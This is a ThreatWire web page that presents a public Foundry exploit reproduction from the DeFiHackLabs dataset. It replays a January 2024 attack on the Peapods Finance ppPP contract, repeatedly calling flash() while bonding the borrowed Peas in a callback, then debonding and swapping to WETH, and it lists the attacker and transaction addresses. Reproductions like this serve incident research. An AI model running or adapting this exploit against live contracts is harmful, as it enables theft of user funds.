Public reproduction file

src/test/2024-01/PeapodsFinance_exp.sol

Public reproduction file for dataset entry PeapodsFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/PeapodsFinance_exp.sol90 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$1K
8// Attacker : https://etherscan.io/address/0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397
9// Attack Contracts : https://etherscan.io/address/0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397
10// Vuln Contract : https://etherscan.io/address/0xdbb20a979a92cccce15229e41c9b082d5b5d7e31
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x95c1604789c93f41940a7fd9eca11276975a9a65d250b89a247736287dbd2b7e
12 
13interface IUniswapV3Router {
14    struct ExactInputParams {
15        bytes path;
16        address recipient;
17        uint256 deadline;
18        uint256 amountIn;
19        uint256 amountOutMinimum;
20    }
21 
22    function exactInput(
23        ExactInputParams memory params
24    ) external payable returns (uint256 amountOut);
25}
26 
27interface IppPP is IERC20 {
28    function flash(address _recipient, address _token, uint256 _amount, bytes memory _data) external;
29 
30    function bond(address _token, uint256 _amount) external;
31    function debond(uint256 _amount, address[] memory, uint8[] memory) external;
32}
33 
34contract ContractTest is Test {
35    IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
36    IppPP private constant ppPP = IppPP(0xdbB20A979a92ccCcE15229e41c9B082D5b5d7E31);
37    IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
38    IERC20 private constant Peas = IERC20(0x02f92800F57BCD74066F5709F1Daa1A4302Df875);
39    IUniswapV3Router private constant Router = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
40 
41    function setUp() public {
42        vm.createSelectFork("mainnet", 19_109_653 - 1);
43        vm.label(address(DAI), "DAI");
44        vm.label(address(ppPP), "ppPP");
45        vm.label(address(WETH), "WETH");
46        vm.label(address(Peas), "Peas");
47    }
48 
49    function testExploit() public {
50        deal(address(DAI), address(this), 200e18);
51        emit log_named_decimal_uint("Exploiter DAI balance before attack", DAI.balanceOf(address(this)), DAI.decimals());
52 
53        uint8 i;
54        while (i < 20) {
55            DAI.approve(address(ppPP), 10e18);
56            ppPP.flash(address(this), address(Peas), Peas.balanceOf(address(ppPP)), "");
57            ++i;
58        }
59 
60        address[] memory token = new address[](1);
61        token[0] = address(Peas);
62        uint8[] memory percentage = new uint8[](1);
63        percentage[0] = 100;
64        ppPP.debond(ppPP.balanceOf(address(this)), token, percentage);
65        PeasToWETH();
66        emit log_named_decimal_uint(
67            "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
68        );
69    }
70 
71    function callback(
72        bytes calldata data
73    ) external {
74        Peas.approve(address(ppPP), Peas.balanceOf(address(this)));
75        ppPP.bond(address(Peas), Peas.balanceOf(address(this)));
76    }
77 
78    function PeasToWETH() internal {
79        Peas.approve(address(Router), type(uint256).max);
80        bytes memory _path = abi.encodePacked(address(Peas), hex"002710", address(DAI), hex"0001f4", address(WETH));
81        IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({
82            path: _path,
83            recipient: address(this),
84            deadline: block.timestamp + 1000,
85            amountIn: Peas.balanceOf(address(this)),
86            amountOutMinimum: 0
87        });
88        Router.exactInput(params);
89    }
90}

Analysis

Dataset entry

Public Foundry test for “PeapodsFinance” (2024-01-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
src/test/2025-02/PeapodsFinance_exp.solSame protocol or name in the dataset · 104 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397
Attack Contract
0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397

Attack Tx
0x95c1604789c93f41940a7fd9eca11276975a9a65d250b89a247736287dbd2b7e

File record

Name: PeapodsFinance
Path: src/test/2024-01/PeapodsFinance_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 81c273417291380b89e03548a321616fdfeaf6a6
Language: Solidity
Size: 91 lines
Date: 2024-01-29
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-01/PeapodsFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 81c273417291380b89e03548a321616fdfeaf6a6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.